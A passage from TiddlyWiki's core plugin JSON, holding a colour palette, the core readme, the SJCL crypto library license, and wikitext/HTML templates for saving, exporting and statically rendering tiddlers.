            "text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndiff-delete-background: #ffc9c9\ndiff-delete-foreground: <<colour foreground>>\ndiff-equal-background: \ndiff-equal-foreground: <<colour foreground>>\ndiff-insert-background: #aaefad\ndiff-insert-foreground: <<colour foreground>>\ndiff-invisible-background: \ndiff-invisible-foreground: <<colour muted-foreground>>\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #bbb\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #f4f4f4\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #5778d8\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #aaaaaa\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #f4f4f4\nsidebar-tab-background: #e0e0e0\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: #e4e4e4\nsidebar-tab-foreground-selected:\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #999999\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ec6\ntag-foreground: #ffffff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #182955\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/core/readme": {
            "title": "$:/core/readme",
            "text": "This plugin contains TiddlyWiki's core components, comprising:\n\n* JavaScript code modules\n* Icons\n* Templates needed to create TiddlyWiki's user interface\n* British English (''en-GB'') translations of the localisable strings used by the core\n"
        },
        "$:/library/sjcl.js/license": {
            "title": "$:/library/sjcl.js/license",
            "type": "text/plain",
            "text": "SJCL is open. You can use, modify and redistribute it under a BSD\nlicense or under the GNU GPL, version 2.0.\n\n---------------------------------------------------------------------\n\nhttp://opensource.org/licenses/BSD-2-Clause\n\nCopyright (c) 2009-2015, Emily Stark, Mike Hamburg and Dan Boneh at\nStanford University. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\n1. Redistributions of source code must retain the above copyright\nnotice, this list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright\nnotice, this list of conditions and the following disclaimer in the\ndocumentation and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\nIS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\nTO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nHOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\nTO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\nPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\nNEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n---------------------------------------------------------------------\n\nhttp://opensource.org/licenses/GPL-2.0\n\nThe Stanford Javascript Crypto Library (hosted here on GitHub) is a\nproject by the Stanford Computer Security Lab to build a secure,\npowerful, fast, small, easy-to-use, cross-browser library for\ncryptography in Javascript.\n\nCopyright (c) 2009-2015, Emily Stark, Mike Hamburg and Dan Boneh at\nStanford University.\n\nThis program is free software; you can redistribute it and/or modify it\nunder the terms of the GNU General Public License as published by the\nFree Software Foundation; either version 2 of the License, or (at your\noption) any later version.\n\nThis program is distributed in the hope that it will be useful, but\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\n\nYou should have received a copy of the GNU General Public License along\nwith this program; if not, write to the Free Software Foundation, Inc.,\n59 Temple Place, Suite 330, Boston, MA 02111-1307 USA"
        },
        "$:/core/templates/MOTW.html": {
            "title": "$:/core/templates/MOTW.html",
            "text": "\\rules only filteredtranscludeinline transcludeinline entity\n<!-- The following comment is called a MOTW comment and is necessary for the TiddlyIE Internet Explorer extension -->\n<!-- saved from url=(0021)https://tiddlywiki.com -->&#13;&#10;"
        },
        "$:/core/templates/alltiddlers.template.html": {
            "title": "$:/core/templates/alltiddlers.template.html",
            "type": "text/vnd.tiddlywiki-html",
            "text": "<!-- This template is provided for backwards compatibility with older versions of TiddlyWiki -->\n\n<$set name=\"exportFilter\" value=\"[!is[system]sort[title]]\">\n\n{{$:/core/templates/exporters/StaticRiver}}\n\n</$set>\n"
        },
        "$:/core/templates/canonical-uri-external-image": {
            "title": "$:/core/templates/canonical-uri-external-image",
            "text": "<!--\n\nThis template is used to assign the ''_canonical_uri'' field to external images.\n\nChange the `./images/` part to a different base URI. The URI can be relative or absolute.\n\n-->\n./images/<$view field=\"title\" format=\"doubleurlencoded\"/>"
        },
        "$:/core/templates/canonical-uri-external-raw": {
            "title": "$:/core/templates/canonical-uri-external-raw",
            "text": "<!--\n\nThis template is used to assign the ''_canonical_uri'' field to external raw files that are stored in the same directory\n\n-->\n<$view field=\"title\" format=\"doubleurlencoded\"/>"
        },
        "$:/core/templates/canonical-uri-external-text": {
            "title": "$:/core/templates/canonical-uri-external-text",
            "text": "<!--\n\nThis template is used to assign the ''_canonical_uri'' field to external text files.\n\nChange the `./text/` part to a different base URI. The URI can be relative or absolute.\n\n-->\n./text/<$view field=\"title\" format=\"doubleurlencoded\"/>.tid"
        },
        "$:/core/templates/css-tiddler": {
            "title": "$:/core/templates/css-tiddler",
            "text": "<!--\n\nThis template is used for saving CSS tiddlers as a style tag with data attributes representing the tiddler fields.\n\n-->`<style`<$fields template=' data-tiddler-$name$=\"$encoded_value$\"'></$fields>` type=\"text/css\">`<$view field=\"text\" format=\"text\" />`</style>`"
        },
        "$:/core/templates/exporters/CsvFile": {
            "title": "$:/core/templates/exporters/CsvFile",
            "tags": "$:/tags/Exporter",
            "description": "{{$:/language/Exporters/CsvFile}}",
            "extension": ".csv",
            "text": "\\define renderContent()\n<$text text=<<csvtiddlers filter:\"\"\"$(exportFilter)$\"\"\" format:\"quoted-comma-sep\">>/>\n\\end\n<<renderContent>>\n"
        },
        "$:/core/templates/exporters/JsonFile": {
            "title": "$:/core/templates/exporters/JsonFile",
            "tags": "$:/tags/Exporter",
            "description": "{{$:/language/Exporters/JsonFile}}",
            "extension": ".json",
            "text": "\\define renderContent()\n<$text text=<<jsontiddlers filter:\"\"\"$(exportFilter)$\"\"\">>/>\n\\end\n<<renderContent>>\n"
        },
        "$:/core/templates/exporters/StaticRiver": {
            "title": "$:/core/templates/exporters/StaticRiver",
            "tags": "$:/tags/Exporter",
            "description": "{{$:/language/Exporters/StaticRiver}}",
            "extension": ".html",
            "text": "\\define tv-wikilink-template() #$uri_encoded$\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<style type=\"text/css\">\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n</style>\n</head>\n<body class=\"tc-body\">\n{{$:/StaticBanner||$:/core/templates/html-tiddler}}\n<section class=\"tc-story-river\">\n{{$:/core/templates/exporters/StaticRiver/Content||$:/core/templates/html-tiddler}}\n</section>\n</body>\n</html>\n"
        },
        "$:/core/templates/exporters/StaticRiver/Content": {
            "title": "$:/core/templates/exporters/StaticRiver/Content",
            "text": "\\define renderContent()\n{{{ $(exportFilter)$ ||$:/core/templates/static-tiddler}}}\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n<<renderContent>>\n"
        },
        "$:/core/templates/exporters/TidFile": {
            "title": "$:/core/templates/exporters/TidFile",
            "tags": "$:/tags/Exporter",
            "description": "{{$:/language/Exporters/TidFile}}",
            "extension": ".tid",
            "text": "\\define renderContent()\n{{{ $(exportFilter)$ +[limit[1]] ||$:/core/templates/tid-tiddler}}}\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n<<renderContent>>"
        },
        "$:/core/save/all-external-js": {
            "title": "$:/core/save/all-external-js",
            "text": "\\define saveTiddlerFilter()\n[is[tiddler]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/core]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]] $(publishFilter)$\n\\end\n{{$:/core/templates/tiddlywiki5-external-js.html}}\n"
        },
        "$:/core/templates/tiddlywiki5.js": {
            "title": "$:/core/templates/tiddlywiki5.js",
            "text": "\\rules only filteredtranscludeinline transcludeinline codeinline\n\n/*\n{{ $:/core/copyright.txt ||$:/core/templates/plain-text-tiddler}}\n`*/\n`<!--~~ Library modules ~~-->\n{{{ [is[system]type[application/javascript]library[yes]] ||$:/core/templates/plain-text-tiddler}}}\n<!--~~ Boot prefix ~~-->\n{{ $:/boot/bootprefix.js ||$:/core/templates/plain-text-tiddler}}\n<!--~~ Core plugin ~~-->\n{{$:/core/templates/tiddlywiki5.js/tiddlers}}\n<!--~~ Boot kernel ~~-->\n{{ $:/boot/boot.js ||$:/core/templates/plain-text-tiddler}}\n"
        },
        "$:/core/templates/tiddlywiki5.js/tiddlers": {
            "title": "$:/core/templates/tiddlywiki5.js/tiddlers",
            "text": "`\n$tw.preloadTiddlerArray(`<$text text=<<jsontiddlers \"[[$:/core]]\">>/>`);\n$tw.preloadTiddlerArray([{\n\ttitle: \"$:/config/SaveWikiButton/Template\",\n\ttext: \"$:/core/save/all-external-js\"\n}]);\n`\n"
        },
        "$:/core/templates/tiddlywiki5-external-js.html": {
            "title": "$:/core/templates/tiddlywiki5-external-js.html",
            "text": "\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n{{$:/core/templates/MOTW.html}}<html>\n<head>\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"application-name\" content=\"TiddlyWiki\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\" />\n<meta name=\"copyright\" content=\"{{$:/core/copyright.txt}}\" />\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<!--~~ This is a Tiddlywiki file. The points of interest in the file are marked with this pattern ~~-->\n\n<!--~~ Raw markup ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/core/wiki/rawmarkup]] [all[shadows+tiddlers]tag[$:/tags/RawMarkup]] ||$:/core/templates/plain-text-tiddler}}}\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified]] ||$:/core/templates/raw-static-tiddler}}}\n</head>\n<body class=\"tc-body\">\n<!--~~ Static styles ~~-->\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<!--~~ Static content for Google and browsers without JavaScript ~~-->\n<noscript>\n<div id=\"splashArea\">\n{{$:/core/templates/static.area}}\n</div>\n</noscript>\n<!--~~ Ordinary tiddlers ~~-->\n{{$:/core/templates/store.area.template.html}}\n</body>\n<script src=\"%24%3A%2Fcore%2Ftemplates%2Ftiddlywiki5.js\" onerror=\"alert('Error: Cannot load tiddlywiki.js');\"></script>\n</html>\n"
        },
        "$:/core/templates/html-div-tiddler": {
            "title": "$:/core/templates/html-div-tiddler",
            "text": "<!--\n\nThis template is used for saving tiddlers as an HTML DIV tag with attributes representing the tiddler fields.\n\n-->`<div`<$fields template=' $name$=\"$encoded_value$\"'></$fields>`>\n<pre>`<$view field=\"text\" format=\"htmlencoded\" />`</pre>\n</div>`\n"
        },
        "$:/core/templates/html-tiddler": {
            "title": "$:/core/templates/html-tiddler",
            "text": "<!--\n\nThis template is used for saving tiddlers as raw HTML\n\n--><$view field=\"text\" format=\"htmlwikified\" />"
        },
        "$:/core/templates/javascript-tiddler": {
            "title": "$:/core/templates/javascript-tiddler",
            "text": "<!--\n\nThis template is used for saving JavaScript tiddlers as a script tag with data attributes representing the tiddler fields.\n\n-->`<script`<$fields template=' data-tiddler-$name$=\"$encoded_value$\"'></$fields>` type=\"text/javascript\">`<$view field=\"text\" format=\"text\" />`</script>`"
        },
        "$:/core/templates/json-tiddler": {
            "title": "$:/core/templates/json-tiddler",
            "text": "<!--\n\nThis template is used for saving tiddlers as raw JSON\n\n--><$text text=<<jsontiddler>>/>"
        },
        "$:/core/templates/module-tiddler": {
            "title": "$:/core/templates/module-tiddler",
            "text": "<!--\n\nThis template is used for saving JavaScript tiddlers as a script tag with data attributes representing the tiddler fields. The body of the tiddler is wrapped in a call to the `$tw.modules.define` function in order to define the body of the tiddler as a module\n\n-->`<script`<$fields template=' data-tiddler-$name$=\"$encoded_value$\"'></$fields>` type=\"text/javascript\" data-module=\"yes\">$tw.modules.define(\"`<$view field=\"title\" format=\"jsencoded\" />`\",\"`<$view field=\"module-type\" format=\"jsencoded\" />`\",function(module,exports,require) {`<$view field=\"text\" format=\"text\" />`});\n</script>`"
        },
        "$:/core/templates/plain-text-tiddler": {
            "title": "$:/core/templates/plain-text-tiddler",
            "text": "<$view field=\"text\" format=\"text\" />"
        },
        "$:/core/templates/raw-static-tiddler": {
            "title": "$:/core/templates/raw-static-tiddler",
            "text": "<!--\n\nThis template is used for saving tiddlers as static HTML\n\n--><$view field=\"text\" format=\"plainwikified\" />"
        },
        "$:/core/save/all": {
            "title": "$:/core/save/all",
            "text": "\\define saveTiddlerFilter()\n[is[tiddler]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]] $(publishFilter)$\n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
        },
        "$:/core/save/empty": {
            "title": "$:/core/save/empty",
            "text": "\\define saveTiddlerFilter()\n[is[system]] -[prefix[$:/state/popup/]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]]\n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
        },
        "$:/core/save/lazy-all": {
            "title": "$:/core/save/lazy-all",
            "text": "\\define saveTiddlerFilter()\n[is[system]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]] \n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
        },
        "$:/core/save/lazy-images": {
            "title": "$:/core/save/lazy-images",
            "text": "\\define saveTiddlerFilter()\n[is[tiddler]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] -[!is[system]is[image]] +[sort[title]] \n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
        },
        "$:/core/templates/server/static.sidebar.wikitext": {
            "title": "$:/core/templates/server/static.sidebar.wikitext",
            "text": "\\whitespace trim\n<div class=\"tc-sidebar-scrollable\" style=\"overflow: auto;\">\n<div class=\"tc-sidebar-header\">\n<h1 class=\"tc-site-title\">\n<$transclude tiddler=\"$:/SiteTitle\"/>\n</h1>\n<div class=\"tc-site-subtitle\">\n<$transclude tiddler=\"$:/SiteSubtitle\"/>\n</div>\n<h2>\n</h2>\n<div class=\"tc-sidebar-lists\">\n<$list filter={{$:/DefaultTiddlers}}>\n<div class=\"tc-menu-list-subitem\">\n<$link><$text text=<<currentTiddler>>/></$link>\n</div>\n</$list>\n</div>\n<!-- Currently disabled the recent list as it is unweildy when the responsive narrow view kicks in\n<h2>\n{{$:/language/SideBar/Recent/Caption}}\n</h2>\n<div class=\"tc-sidebar-lists\">\n<$macrocall $name=\"timeline\" format={{$:/language/RecentChanges/DateFormat}}/>\n</div>\n</div>\n</div>\n-->\n"
        },
        "$:/core/templates/server/static.tiddler.html": {
            "title": "$:/core/templates/server/static.tiddler.html",
            "text": "\\whitespace trim\n\\define tv-wikilink-template() $uri_encoded$\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content={{$:/core/templates/version}} />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<link rel=\"stylesheet\" href=\"%24%3A%2Fcore%2Ftemplates%2Fstatic.template.css\">\n<title><$view field=\"caption\" format=\"plainwikified\"><$view field=\"title\"/></$view>: <$view tiddler=\"$:/core/wiki/title\" format=\"plainwikified\"/></title>\n</head>\n<body class=\"tc-body\">\n<$transclude tiddler=\"$:/core/templates/server/static.sidebar.wikitext\" mode=\"inline\"/>\n<section class=\"tc-story-river\">\n<div class=\"tc-tiddler-frame\">\n<$transclude tiddler=\"$:/core/templates/server/static.tiddler.wikitext\" mode=\"inline\"/>\n</div>\n</section>\n</body>\n</html>"
        },
        "$:/core/templates/server/static.tiddler.wikitext": {
            "title": "$:/core/templates/server/static.tiddler.wikitext",
            "text": "\\whitespace trim\n<div class=\"tc-tiddler-title\">\n<div class=\"tc-titlebar\">\n<h2><$text text=<<currentTiddler>>/></h2>\n</div>\n</div>\n<div class=\"tc-subtitle\">\n<$link to={{!!modifier}}>\n<$view field=\"modifier\"/>\n</$link> <$view field=\"modified\" format=\"date\" template={{$:/language/Tiddler/DateFormat}}/>\n</div>\n<div class=\"tc-tags-wrapper\">\n<$list filter=\"[all[current]tags[]sort[title]]\">\n<a href={{{ [<currentTiddler>encodeuricomponent[]] }}}>\n<$macrocall $name=\"tag-pill\" tag=<<currentTiddler>>/>\n</a>\n</$list>\n</div>\n<div class=\"tc-tiddler-body\">\n<$transclude mode=\"block\"/>\n</div>\n"
        },
        "$:/core/templates/single.tiddler.window": {
            "title": "$:/core/templates/single.tiddler.window",
            "text": "<$set name=\"themeTitle\" value={{$:/view}}>\n\n<$set name=\"tempCurrentTiddler\" value=<<currentTiddler>>>\n\n<$set name=\"currentTiddler\" value={{$:/language}}>\n\n<$set name=\"languageTitle\" value={{!!name}}>\n\n<$set name=\"currentTiddler\" value=<<tempCurrentTiddler>>>\n\n<$importvariables filter=\"[[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\">\n\n<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\">\n\n<$transclude mode=\"block\"/>\n\n</$navigator>\n\n</$importvariables>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n"
        },
        "$:/core/templates/split-recipe": {
            "title": "$:/core/templates/split-recipe",
            "text": "<$list filter=\"[!is[system]]\">\ntiddler: <$view field=\"title\" format=\"urlencoded\"/>.tid\n</$list>\n"
        },
        "$:/core/templates/static-tiddler": {
            "title": "$:/core/templates/static-tiddler",
            "text": "<a name=<<currentTiddler>>>\n<$transclude tiddler=\"$:/core/ui/ViewTemplate\"/>\n</a>"
        },
        "$:/core/templates/static.area": {
            "title": "$:/core/templates/static.area",
            "text": "<$reveal type=\"nomatch\" state=\"$:/isEncrypted\" text=\"yes\">\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawStaticContent]!has[draft.of]] ||$:/core/templates/raw-static-tiddler}}}\n{{$:/core/templates/static.content||$:/core/templates/html-tiddler}}\n</$reveal>\n<$reveal type=\"match\" state=\"$:/isEncrypted\" text=\"yes\">\nThis file contains an encrypted ~TiddlyWiki. Enable ~JavaScript and enter the decryption password when prompted.\n</$reveal>\n"
        },
        "$:/core/templates/static.content": {
            "title": "$:/core/templates/static.content",
            "text": "<!-- For Google, and people without JavaScript-->\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n<ul>\n<$list filter=<<saveTiddlerFilter>>>\n<li><$view field=\"title\" format=\"text\"></$view></li>\n</$list>\n</ul>\n"
        },
        "$:/core/templates/static.template.css": {
            "title": "$:/core/templates/static.template.css",
            "text": "{{$:/boot/boot.css||$:/core/templates/plain-text-tiddler}}\n\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n"
        },
        "$:/core/templates/static.template.html": {
            "title": "$:/core/templates/static.template.html",
            "type": "text/vnd.tiddlywiki-html",
            "text": "\\define tv-wikilink-template() static/$uri_doubleencoded$.html\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<style type=\"text/css\">\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n</style>\n</head>\n<body class=\"tc-body\">\n{{$:/StaticBanner||$:/core/templates/html-tiddler}}\n{{$:/core/ui/PageTemplate||$:/core/templates/html-tiddler}}\n</body>\n</html>\n"
        },
        "$:/core/templates/static.tiddler.html": {
            "title": "$:/core/templates/static.tiddler.html",
            "text": "\\define tv-wikilink-template() $uri_doubleencoded$.html\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n`<!doctype html>\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"`{{$:/core/templates/version}}`\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<link rel=\"stylesheet\" href=\"static.css\">\n<title>`<$view field=\"caption\"><$view field=\"title\"/></$view>: {{$:/core/wiki/title}}`</title>\n</head>\n<body class=\"tc-body\">\n`{{$:/StaticBanner||$:/core/templates/html-tiddler}}`\n<section class=\"tc-story-river\">\n`<$view tiddler=\"$:/core/ui/ViewTemplate\" format=\"htmlwikified\"/>`\n</section>\n</body>\n</html>\n`"
        },
        "$:/core/templates/store.area.template.html": {
            "title": "$:/core/templates/store.area.template.html",
            "text": "<$reveal type=\"nomatch\" state=\"$:/isEncrypted\" text=\"yes\">\n`<div id=\"storeArea\" style=\"display:none;\">`\n<$list filter=<<saveTiddlerFilter>> template=\"$:/core/templates/html-div-tiddler\"/>\n`</div>`\n</$reveal>\n<$reveal type=\"match\" state=\"$:/isEncrypted\" text=\"yes\">\n`<!--~~ Encrypted tiddlers ~~-->`\n`<pre id=\"encryptedStoreArea\" type=\"text/plain\" style=\"display:none;\">`\n<$encrypt filter=<<saveTiddlerFilter>>/>\n`</pre>`\n</$reveal>"
        },
        "$:/core/templates/tid-tiddler": {
            "title": "$:/core/templates/tid-tiddler",
            "text": "<!--\n\nThis template is used for saving tiddlers in TiddlyWeb *.tid format\n\n--><$fields exclude='text bag' template='$name$: $value$\n'></$fields>`\n`<$view field=\"text\" format=\"text\" />"
        },
        "$:/core/templates/tiddler-metadata": {
            "title": "$:/core/templates/tiddler-metadata",
            "text": "<!--\n\nThis template is used for saving tiddler metadata *.meta files\n\n--><$fields exclude='text bag' template='$name$: $value$\n'></$fields>"
        },
        "$:/core/templates/tiddlywiki5.html": {
            "title": "$:/core/templates/tiddlywiki5.html",
            "text": "\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n{{$:/core/templates/MOTW.html}}<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<!--~~ Raw markup for the top of the head section ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified/TopHead]] ||$:/core/templates/raw-static-tiddler}}}\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\"/>\n<meta name=\"application-name\" content=\"TiddlyWiki\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\" />\n<meta name=\"copyright\" content=\"{{$:/core/copyright.txt}}\" />\n<link 